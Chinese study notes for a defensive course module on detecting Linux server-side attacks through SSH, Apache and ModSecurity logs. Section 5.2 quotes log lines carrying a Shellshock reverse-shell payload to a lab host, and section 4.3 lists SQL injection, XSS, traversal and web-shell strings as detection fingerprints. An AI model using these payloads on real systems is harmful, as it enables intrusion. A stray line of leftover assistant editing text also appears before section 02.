首页 课程学习 OSDA LSSA

# Linux Server-Side Attacks（Linux 服务端攻击）

# 01_Credential Abuse (SSH 凭证滥用)

# 1.1 概述：什么是凭证滥用

在网络安全中，凭证滥用（Credential Abuse） 是指攻击者在获取、窃取或推断出合法用户的身份验证凭证（如密码、私钥、Token 等）后，利用这些凭证冒充合法用户进行未授权访问、权限提升或横向移动的行为。

与利用软件漏洞（如缓冲区溢出）不同，凭证滥用在系统日志看来，往往与正常的合法用户行为无异，这使得它成为高级持续性威胁（APT）和内网横向移动中最隐蔽、最难检测的攻击手段之一。

# 1.2 SSH 认证机制回顾

SSH（Secure Shell）是 Linux/Unix 环境中最核心的远程管理协议。要理解 SSH 凭证滥用，首先需要回顾其两种主要的身份验证机制：

  1. 密码认证 (Password Authentication)

    • 原理：用户输入用户名和密码，服务器验证密码的哈希值。
    • 脆弱性：容易受到暴力破解（Brute Force）、字典攻击、凭证填充（Credential Stuffing，利用其他网站泄露的密码库进行撞库）以及键盘记录器的攻击。

  2. 公钥认证 (Public Key Authentication)

    • 原理：基于非对称加密技术。用户本地保留私钥（如 id_rsa ），服务器保存对应的公钥（存放在 ~/.ssh/authorized_keys 中）。连接时，服务器通过加密挑战（Challenge）来验证客户端是否拥有正确的私钥。
    • 优势：免疫传统的密码暴力破解。
    • 脆弱性（凭证滥用的核心）：如果攻击者能够窃取到用户的未加密私钥，或者劫持正在运行的 SSH Agent，他们就可以完全绕过密码验证，直接获得与私钥所有者相同的访问权限。

# 1.3 SSH 凭证滥用的常见攻击向量

在接下来的学习中，我们将深入探讨攻击者如何利用 SSH 机制进行凭证滥用，主要包括以下核心场景：

  • SSH 私钥窃取与重用 (SSH Key Theft & Reuse)：攻击者在攻陷一台主机后，搜索并提取内存或磁盘中的 SSH 私钥（如 ~/.ssh/id_rsa ），然后利用这些私钥尝试登录内网中的其他主机（SSH Key Spraying）。
  • SSH Agent 转发滥用 (SSH Agent Forwarding Abuse)：当管理员使用 ssh -A 登录跳板机时，其本地的 SSH Agent 凭证会被转发到跳板机。如果跳板机被攻陷，攻击者可以劫持该 Agent，利用管理员的凭证继续向更深层的内网主机进行横向移动（Pivoting），而无需接触私钥文件本身。
  • authorized_keys 后门植入：攻击者将自己的公钥写入目标用户的 ~/.ssh/authorized_keys 文件中，实现无需密码的持久化访问。
  • Pass-the-Hash/Ticket 在 SSH 中的变体：虽然 PtH 主要针对 Windows (SMB/Kerberos)，但在某些集成了 GSSAPI/Kerberos 的 SSH 环境中，也存在类似的票据滥用技术。

已为你修正在 2.4 节中的选项错误（将不兼容且会导致服务报错的 DEBUG 替换为生产标准的 VERBOSE ），并微调了 2.3 节中关于 PAM 模块机制的表述，使其在安全审计层面更加严谨。

以下是修正后的完整笔记：

# 02_Suspicious Logins & SSH Public Key Logging

# 2.1 密码认证的局限与公钥认证的引入

尽管可以通过复杂的密码策略（如长度、复杂度、定期更换）来增强安全性，但密码依然是最容易被暴力破解、钓鱼或凭证填充攻击攻破的认证方式。因此，在 Linux 环境中，SSH 公钥认证（Public Key Authentication） 成为了替代密码认证、防范凭证滥用的首选标准。

# 2.2 SSH 公钥认证的配置与部署

1. 生成密钥对
使用现代且安全的 Ed25519 算法生成密钥对：

ssh-keygen -t ed25519 -C "offsec@kali"

(注：Ed25519 相比传统的 RSA 具有更高的安全性和更快的签名 / 验证速度，是目前推荐的 SSH 密钥标准。)

2. 部署公钥到目标主机
使用 ssh-copy-id 将公钥自动追加到目标用户的 ~/.ssh/authorized_keys 文件中：

ssh-copy-id [email protected]

3. 验证公钥认证过程
使用 -v (verbose) 参数连接，可以清晰看到 SSH 客户端与服务端之间的公钥协商与认证过程：

debug1: Offering public key: /home/kali/.ssh/id_ed25519 ED25519 SHA256:GPtNF80Ih6uS4Zz8Avy1rPSIgYfWZ9/NI+yFUXWCmnw
debug1: Server accepts key: /home/kali/.ssh/id_ed25519 ED25519 SHA256:GPtNF80Ih6uS4Zz8Avy1rPSIgYfWZ9/NI+yFUXWCmnw
debug1: Authentication succeeded (publickey).
Authenticated to 192.168.50.12 ([192.168.50.12]:22).

# 2.3 日志差异分析：密码认证 vs 公钥认证

为了对比两种认证方式在日志中的表现，可以临时修改 /etc/ssh/sshd_config ，将 PubkeyAuthentication 设置为 no ，并重启 sshd 服务 ( sudo systemctl restart sshd )。

1. 密码认证日志特征

  • 成功： Accepted password for offsec ...
  • 失败： Failed password for offsec ... 以及 pam_unix(sshd:auth): authentication failure...
  • 分析点：密码认证会经过 PAM (Pluggable Authentication Modules) 的 auth 模块，因此会留下 pam_unix(sshd:auth) 的密码审计记录。

2. 公钥认证日志特征
恢复 PubkeyAuthentication yes 后，使用公钥成功登录，日志记录如下：

Nov 18 18:09:12 linux01 sshd[2448]: Accepted publickey for offsec from 192.168.50.50 port 51248 ssh2: ED25519 SHA256:GPtNF80Ih6uS4Zz8Avy1rPSIgYfWZ9/NI+yFUXWCmnw
  • 分析点：公钥认证跳过了 PAM 的密码验证阶段（ auth ），因此不会产生 pam_unix(sshd:auth) 的失败 / 成功记录（但仍会记录登录成功后的会话开启 pam_unix(sshd:session) ）。日志中明确记录了所使用的密钥类型 (ED25519) 和密钥指纹 (SHA256:GPt...)，这是溯源的关键。

# 2.4 深度追踪：公钥认证失败的日志盲区与突破

1. 默认日志的盲区 ( LogLevel INFO )
当攻击者尝试使用错误的私钥（或不在 authorized_keys 中的私钥）进行连接时，在默认的 LogLevel INFO 级别下，为了防止日志膨胀，系统通常只记录极其简略的断开提示：

Nov 18 18:10:36 linux01 sshd[2577]: Connection closed by authenticating user offsec 192.168.50.50 port 51250 [preauth]

原因：在预认证阶段 ( [preauth] )，客户端会向服务端发送其拥有的公钥列表进行试探。若公钥未匹配，默认不会详细记录尝试的具体指纹。

**2. 突破盲区：提升日志级别至 VERBOSE**
为了捕获公钥认证失败的详细指纹信息，需要修改 /etc/ssh/sshd_config ，将日志级别从默认的 INFO 提升至 VERBOSE ：

LogLevel VERBOSE

重启 sshd 服务 ( sudo systemctl restart sshd ) 后，再次使用未授权的私钥尝试登录，日志中将明确记录失败的公钥指纹：

Nov 18 18:13:34 linux01 sshd[22418]: Failed publickey for offsec from 192.168.50.50 port 51324 ssh2: ED25519 SHA256:Sx507zj6FqY4L4QGGsLgCQT678QjZDw42n4S1CJQc6Q

3. 安全与取证价值

  • 提取攻击者指纹：通过 Failed publickey 日志，防守方可以提取攻击者尝试使用的公钥指纹 (SHA256:Sx507...)。
  • 关联分析：将这个指纹与内网其他被控主机上提取到的合法私钥指纹进行比对，可以快速判断攻击者是否在利用窃取的密钥进行 “撒网式” 横向移动（SSH Key Spraying）。
  • 配置建议：相比包含海量底层调试信息的 DEBUG1/2/3 ， VERBOSE 级别的性能开销较小，非常推荐蓝队在关键服务器上长期开启以增强 SSH 安全审计能力。

# 2.5 自动化日志分析

面对海量的 SSH 日志，可以通过编写 Python 脚本（结合 re 正则表达式模块），自动化提取 Accepted publickey 和 Failed publickey 事件，并专门捕获其中的 SHA256 指纹信息，从而实现针对异常公钥登录行为的实时告警与自动化分析。

# 03_Password Brute Forcing & Password Spraying

# 3.1 攻击概念解析

在 SSH 认证中，基于密码的攻击主要分为两种截然不同的策略，理解它们的区别对于日志分析和防御至关重要：

  1. 暴力破解 (Brute Force)：
    • 策略：针对单个目标用户，尝试海量密码字典。
    • 特点：流量集中在单一账户，极易触发账户锁定策略。
  2. 密码喷洒 (Password Spraying)：
    • 策略：针对海量目标用户，尝试少量常见弱密码（如 Password123! , Admin@2023 ）。
    • 特点：每个账户只尝试 1-2 次密码，故意规避 “账户失败锁定” 阈值，是 APT 组织在内网横向移动和外部边界突破中最常用的手法。

# 3.2 防御与缓解机制

为了对抗上述攻击，Linux 系统提供了两个层面的防御配置：

1. SSH 服务层面：限制单次连接尝试次数 ( MaxAuthTries )

  • 配置：在 /etc/ssh/sshd_config 中设置 MaxAuthTries 3 （默认通常为 6）。
  • 作用：限制单次 SSH TCP 连接中允许的最大密码验证尝试次数。如果攻击者在一个连接中连续输错 3 次密码， sshd 会主动断开连接（触发 [preauth] 断开日志）。这能极大降低单连接的爆破效率，迫使攻击工具频繁重建 TCP 连接，增加其被网络层检测的概率。

2. 操作系统 / PAM 层面：账户锁定策略 (Account Lockout)

  • 配置：通过 PAM (Pluggable Authentication Modules) 模块（如 pam_faillock 或旧版的 pam_tally2 ）配置全局失败锁定。例如：连续失败 5 次，锁定账户 15 分钟。
  • 作用：无论攻击者开启多少个新连接，只要该用户累计失败次数达到阈值，账户即被锁定，直接阻断暴力破解。

# 3.3 日志深度剖析：暴力破解 (Brute Force)

当攻击者对单一用户（如 root 或 offsec ）进行高频密码爆破时， /var/log/secure (或 auth.log ) 会呈现以下典型特征：

典型日志示例：

Nov 18 19:01:15 linux01 sshd[4512]: Failed password for offsec from 192.168.50.50 port 44312 ssh2
Nov 18 19:01:16 linux01 sshd[4512]: Failed password for offsec from 192.168.50.50 port 44312 ssh2
Nov 18 19:01:17 linux01 sshd[4512]: Failed password for offsec from 192.168.50.50 port 44312 ssh2
Nov 18 19:01:17 linux01 sshd[4512]: Connection closed by authenticating user offsec 192.168.50.50 port 44312 [preauth]
Nov 18 19:01:18 linux01 sshd[4515]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.50.50 user=offsec
Nov 18 19:01:20 linux01 sshd[4515]: pam_faillock(sshd:auth): Consecutive login failures for user offsec account temporarily locked

逐行含义解析：

  1. Failed password for offsec... ：核心爆破证据。显示针对用户 offsec 的密码验证失败。注意 PID ( 4512 ) 和端口 ( 44312 ) 相同，说明这 3 次失败发生在同一个 SSH 连接中。
  2. Connection closed... [preauth] ：因为连续失败 3 次，触发了 MaxAuthTries 3 的限制， sshd 在预认证阶段 ( [preauth] ) 主动掐断了该 TCP 连接。
  3. pam_unix(sshd:auth): authentication failure... ：PAM 模块记录的底层认证失败事件，包含了来源 IP ( rhost ) 和目标用户。
  4. pam_faillock(sshd:auth): ...account temporarily locked ：关键防御日志。表明该用户的累计失败次数已达到 PAM 配置的锁定阈值，账户被系统自动锁定。

# 3.4 日志深度剖析：密码喷洒 (Password Spraying)

当攻击者使用 Hydra 或自定义脚本进行密码喷洒时，日志特征与暴力破解有显著不同，核心在于用户名的频繁变化：

典型日志示例：

Nov 18 19:15:01 linux01 sshd[5100]: Failed password for invalid user admin from 10.0.0.5 port 55100 ssh2
Nov 18 19:15:02 linux01 sshd[5102]: Failed password for invalid user test from 10.0.0.5 port 55102 ssh2
Nov 18 19:15:03 linux01 sshd[5104]: Failed password for invalid user guest from 10.0.0.5 port 55104 ssh2
Nov 18 19:15:04 linux01 sshd[5106]: Failed password for offsec from 10.0.0.5 port 55106 ssh2
Nov 18 19:15:05 linux01 sshd[5108]: Failed password for root from 10.0.0.5 port 55108 ssh2

逐行含义与特征解析：

  1. invalid user <username> ：表示攻击者尝试的用户名在系统中根本不存在（如 admin , test , guest ）。这是喷洒攻击中用于 “用户名枚举” 或盲目喷洒的典型特征。
  2. Failed password for <username> ：表示尝试了系统中存在的用户（如 offsec , root ），但密码错误。
  3. 端口号递增 ( 55100 , 55102 , 55104 ...)：每次尝试都使用新的源端口，说明攻击工具为每个用户名 / 密码组合都建立了一个全新的 TCP 连接。这是为了规避单连接失败次数限制（ MaxAuthTries ）的常见手法。
  4. 无锁定日志：因为每个账户只尝试了 1 次，远低于 PAM 的锁定阈值，因此不会触发 pam_faillock 的账户锁定日志。

# 3.5 蓝队检测与自动化分析思路

基于上述日志特征，蓝队可以编写自动化脚本或 SIEM 规则进行精准检测：

  • 检测暴力破解：按 Source IP 和 Target User 分组，统计单位时间内的 Failed password 次数。如果 (IP_A, User_B) 的组合失败次数 > 5，触发告警。
  • 检测密码喷洒：按 Source IP 分组，统计单位时间内尝试的不同 Target User 的数量。如果 IP_A 在短时间内对 > 10 个不同用户发起 Failed password ，即使每个用户只失败 1 次，也应立即触发高危告警。
  • 检测用户名枚举：大量出现 Failed password for invalid user 且来源 IP 集中，说明攻击者正在进行字典枚举。

# 04_Web Application Attacks

# 4.1 概述：Web 应用的安全挑战

Web 应用程序是现代企业暴露在互联网上的主要门户，承载着核心业务逻辑和敏感数据。由于其天然的公开性和复杂的交互性，Web 应用成为了攻击者最青睐的突破口。

与传统的网络层攻击（如端口扫描、服务漏洞利用）不同，Web 应用攻击通常发生在应用层（HTTP/HTTPS 协议），其流量往往混杂在正常的业务请求中。因此，为了有效防御、检测和溯源 Web 应用攻击，安全团队（蓝队）必须密切关注并深入分析 Web 服务器（如 Apache, Nginx, IIS）的运行日志。

# 4.2 Web 服务器日志的核心地位

Web 服务器的日志（主要是 Access Log 和 Error Log）是记录所有 HTTP 请求和服务器响应的 “黑匣子”。在安全防御中，它们具有以下不可替代的价值：

  1. 攻击面可见性：记录了攻击者的来源 IP、请求时间、请求方法（GET/POST）、目标 URI、查询参数以及 User-Agent，是还原攻击者侦察和探测行为的基础。
  2. 漏洞利用取证：当攻击者尝试利用 SQL 注入、目录遍历、命令注入等漏洞时，其恶意 Payload 会直接暴露在 HTTP 请求的 URI 或 POST Body 中，被日志完整记录。
  3. 后门与持久化检测：攻击者成功上传 Web Shell 后，其后续的访问、命令执行和数据外泄操作，都会作为正常的 HTTP 请求记录在 Access Log 中。

# 4.3 常见 Web 攻击及其日志特征（引言）

在后续的学习中，我们将通过 Apache 日志来剖析多种经典的 Web 攻击。以下是几种常见攻击在日志中留下的典型 “指纹”：

  • 目录遍历 / 本地文件包含 (Path Traversal / LFI)
    • 日志特征：请求 URI 中包含连续的 ../ 或其 URL 编码变体（如 %2e%2e%2f ），试图跳出 Web 根目录读取系统敏感文件（如 /etc/passwd 或 C:\Windows\win.ini ）。
  • SQL 注入 (SQL Injection)
    • 日志特征：URI 或 POST 参数中包含 SQL 关键字（如 UNION SELECT , ' OR 1=1-- , SLEEP() ）。如果应用未做好错误处理，可能会在 Error Log 中留下数据库报错信息，或在 Access Log 中表现为异常的 HTTP 500 状态码。
  • 跨站脚本攻击 (XSS)
    • 日志特征：URI 或参数中包含 HTML/JavaScript 标签（如 <script>alert(1)</script> 或 onerror= ）。虽然 XSS 主要危害客户端，但攻击者探测漏洞的请求会被服务端日志记录。
  • Web Shell 访问与命令执行
    • 日志特征：对非标准 Web 目录（如 /uploads/ , /images/ , /wp-content/uploads/ ）下的脚本文件（ .php , .jsp , .aspx ）发起带有复杂查询参数（如 ?cmd=whoami , ?c=system ）的 GET/POST 请求。
  • 针对 Web 登录接口的暴力破解
    • 日志特征：针对特定的登录 URI（如 /login.php , /wp-login.php ）在短时间内发起大量 POST 请求，且通常伴随 HTTP 302（重定向）或 401/403 状态码。

# 4.4 蓝队防御视角：从日志到响应

面对海量的 Web 访问日志，单纯依靠人工查看是不现实的。蓝队需要结合前面学习的 Linux 命令行工具（grep/awk） 和 Python 自动化脚本，甚至引入专业的日志分析平台（如 ELK, Splunk），来提取上述攻击特征。

通过建立基于日志的自动化检测规则，安全团队可以在攻击者进行漏洞扫描或尝试利用的早期阶段发现异常，从而及时阻断攻击链，保护 Web 应用及底层系统的安全。

# 05_Command Injection (Shellshock 案例与日志溯源)

# 5.1 攻击背景：Shellshock (CVE-2014-6271)

Shellshock 是 Bash 解释器中一个著名的环境变量解析漏洞。攻击者可以通过在环境变量（如 HTTP 请求头中的 User-Agent 、 Referer 或 Cookie ）中注入特殊的函数定义格式 () { :;}; ，并在其后追加恶意命令。当目标服务器使用 Bash 处理 CGI 脚本时，这些恶意命令会被意外执行。

# 5.2 日志初步分析：寻找攻击痕迹与成功标志

通过查看 Apache 的 access.log ，可以清晰地看到攻击者使用自动化工具对多个常见的 CGI 路径进行了 Shellshock 漏洞扫描。

日志示例：

192.168.50.50 - - [18/Nov/2021:18:47:30 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"
192.168.50.50 - - [18/Nov/2021:18:47:31 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"
192.168.50.50 - - [18/Nov/2021:18:47:32 -0500] "GET /cgi-mod/index.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"
192.168.50.50 - - [18/Nov/2021:18:47:33 -0500] "GET /cgi-bin/test.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"
192.168.50.50 - - [18/Nov/2021:18:47:34 -0500] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 436 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"
192.168.50.50 - - [18/Nov/2021:18:47:35 -0500] "GET /cgi-bin/index.cgi HTTP/1.1" 200 151 "() { :;}; /bin/bash -i >& /dev/tcp/192.168.50.50/4444 0>&1" "-"

关键分析点：

  1. Payload 特征：所有请求的 User-Agent 字段均包含 () { :;}; 这一 Shellshock 的典型特征，后跟反弹 Shell 的命令。
  2. 状态码对比：前 5 个请求返回 404 Not Found ，说明对应的 CGI 脚本路径不存在，攻击失败。最后一个请求 ( /cgi-bin/index.cgi ) 返回了 200 OK ，这强烈暗示该 CGI 脚本存在且成功执行了 Payload。

# 5.3 进程级确认：发现异常 Shell

日志中的 200 状态码只是间接证据，必须通过系统进程列表进行最终确认。

offsec@linux01:~$ sudo ps aux | grep "/bin/bash"
www-data  7231  0.0  0.1  3616  2764 ?        S    18:47   0:00 /bin/bash
offsec    7237  0.0  0.0   9040  664 pts/0    S+   18:48   0:00 grep --color=auto /bin/bash

关键分析点：

  • 异常的用户与进程： www-data 是 Apache Web 服务器的默认降权运行用户。在正常的 Web 服务运行中， www-data 绝不应该派生或运行交互式的 /bin/bash 进程。
  • 结论：这条进程记录是命令注入（RCE）成功的铁证，表明攻击者已经通过 Shellshock 漏洞获取了目标服务器的低权限 Shell。

# 5.4 自动化检测思路 (Python)

面对海量日志，可以编写 Python 脚本进行自动化狩猎。核心逻辑如下：

  1. 使用正则表达式匹配 Shellshock 特征： r'\(\)\s*\{.*?\};' 。
  2. 提取匹配行的 HTTP 状态码。
  3. 如果状态码为 200 （或 302 等成功 / 重定向状态），则标记为 “疑似攻击成功”，并提取源 IP 和请求路径进行告警。

# 5.5 进阶对抗：Cookie 注入与日志格式优化

场景：攻击者意识到 User-Agent 会被记录在日志中，为了隐藏踪迹，他们将 Shellshock Payload 转移到了 HTTP Cookie 头部中发起攻击。

问题：Apache 默认的 Combined 日志格式不记录 Cookie 内容。这导致安全分析师在查看日志时，只能看到正常的请求，无法发现隐藏在 Cookie 中的恶意 Payload，溯源链条断裂。

解决方案：自定义 Apache 日志格式
通过修改 Apache 配置文件（如 /etc/apache2/apache2.conf 或 sites-available/ 下的配置），将 Cookie 字段加入日志记录中。

  1. 修改 LogFormat：
    在配置文件中添加或修改 LogFormat 指令，使用 %{Cookie}i 捕获请求头中的 Cookie 信息。

    # 定义一个新的日志格式，在原有 Combined 基础上追加 Cookie
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\" \"%{Cookie}i\"" combined_with_cookie

# 将访问日志指向新格式
CustomLog ${APACHE_LOG_DIR}/access.log combined_with_cookie

  2. 重启服务生效：

    sudo systemctl restart apache2

效果：重启后，当攻击者再次通过 Cookie 发起 Shellshock 攻击时，完整的恶意 Payload 将被清晰地记录在 access.log 的末尾，蓝队得以完整还原攻击手法并提取恶意特征。这强调了根据威胁情报动态调整日志采集粒度在安全运营中的重要性。

# 06_SQL Injection

# 6.1 攻击特征与初步日志分析

使用自动化 SQL 注入工具（如 sqlmap ）对 Web 应用（如 WordPress）进行注入测试时，会在 Web 服务器的访问日志中留下非常明显的特征。

查看 Apache 访问日志：

tail -f /var/log/apache2/access.log

典型日志表现：

192.168.50.50 - - [19/Nov/2021:10:15:01 +0000] "GET /wordpress/?id=1%27 HTTP/1.1" 200 54321 "-" "sqlmap/1.5.10#stable (http://sqlmap.org)"
192.168.50.50 - - [19/Nov/2021:10:15:02 +0000] "GET /wordpress/?id=1%27%20AND%201=1 HTTP/1.1" 200 54321 "-" "sqlmap/1.5.10#stable (http://sqlmap.org)"

关键分析点：

  1. 高频请求与特定 UA：短时间内产生大量请求，且 User-Agent 明确标识为 sqlmap （注：高级攻击者通常会使用 --random-agent 参数伪造 UA 以绕过此检测）。
  2. 状态码 200：与目录遍历或暴力破解不同，SQL 注入探测请求通常返回 200 OK 。这是因为注入的 Payload 被后端数据库成功解析并返回了页面，200 状态码结合异常参数是 SQL 注入成功的强烈信号。

# 6.2 传统日志的局限性与 WAF 的引入

仅依靠 access.log 进行 SQL 注入分析存在局限性：

  • 如果注入发生在 POST 请求的 Body 中， access.log 只能记录 POST /login.php HTTP/1.1 ，无法看到具体的注入 Payload。
  • 如果攻击者伪造了 UA，仅凭文本日志很难快速定性。

因此，需要引入 Web 应用防火墙 (WAF)，如 ModSecurity，来进行深度的应用层流量解析和拦截。

# 6.3 ModSecurity 审计日志深度分析

ModSecurity 不仅提供拦截功能，其生成的审计日志 ( modsec_audit.log ) 是分析 SQL 注入 Payload 和溯源攻击行为的核心数据源。

1. 提取完整的攻击事务 (Transaction)
ModSecurity 的审计日志采用分段结构（Section A 到 Z）。可以使用 awk 提取完整的请求与响应上下文：
(注：已修正原笔记中 udo 拼写错误及 awk 语法错误)

# 提取从 --A-- (请求头) 到 --Z-- (日志尾部) 的完整事务记录
sudo awk '/--A--/,/--Z--/' /var/log/apache2/modsec_audit.log | less

在完整的日志块中，重点关注以下 Section：

  • --B-- (Request Headers)：查看真实的请求头，识别被伪造的 UA。
  • --C-- (Request Body)：核心。如果注入发生在 POST 请求中，这里会记录完整的表单数据及 SQL Payload。
  • --H-- (Audit Log Trailer)：包含 ModSecurity 触发的规则信息，如 [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] 。

2. 快速检索 SQL 注入告警
通过 grep 快速定位被 ModSecurity 识别为 SQL 注入的告警事件：
(注：已优化 grep 匹配关键字，使其更符合 ModSecurity 的实际日志输出格式)

# 查找包含 SQL 注入检测信息的告警行
sudo grep -i "SQL Injection" /var/log/apache2/modsec_audit.log
# 或者查找特定的 ModSecurity 规则 ID (如 OWASP CRS 中的 SQLi 规则)
sudo grep -E "id \"942[0-9]{3}\"" /var/log/apache2/modsec_audit.log
输出示例：
Message: Warning. Pattern match "(?i:\\bunion\\b.{0,100}\\bselect\\b)" at ARGS:id. [file "/etc/modsecurity/coreruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "45"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"]
# 6.4 蓝队防御与检测建议
  1. 部署 WAF：在生产环境部署 ModSecurity 并启用 OWASP Core Rule Set (CRS)，可有效阻断自动化 SQL 注入工具（如 sqlmap）的探测。
  2. 日志集中化：将 modsec_audit.log 通过 rsyslog 或 Filebeat 实时发送至 SIEM（如 Splunk/ELK），利用 SIEM 的关联分析能力，将 WAF 告警与后端数据库的异常查询日志进行交叉验证。
  3. 关注 POST 数据：在编写自定义检测规则或分析日志时，切勿忽略 POST Body 中的注入行为，必须依赖 WAF 的深度包检测（DPI）能力来提取 Payload。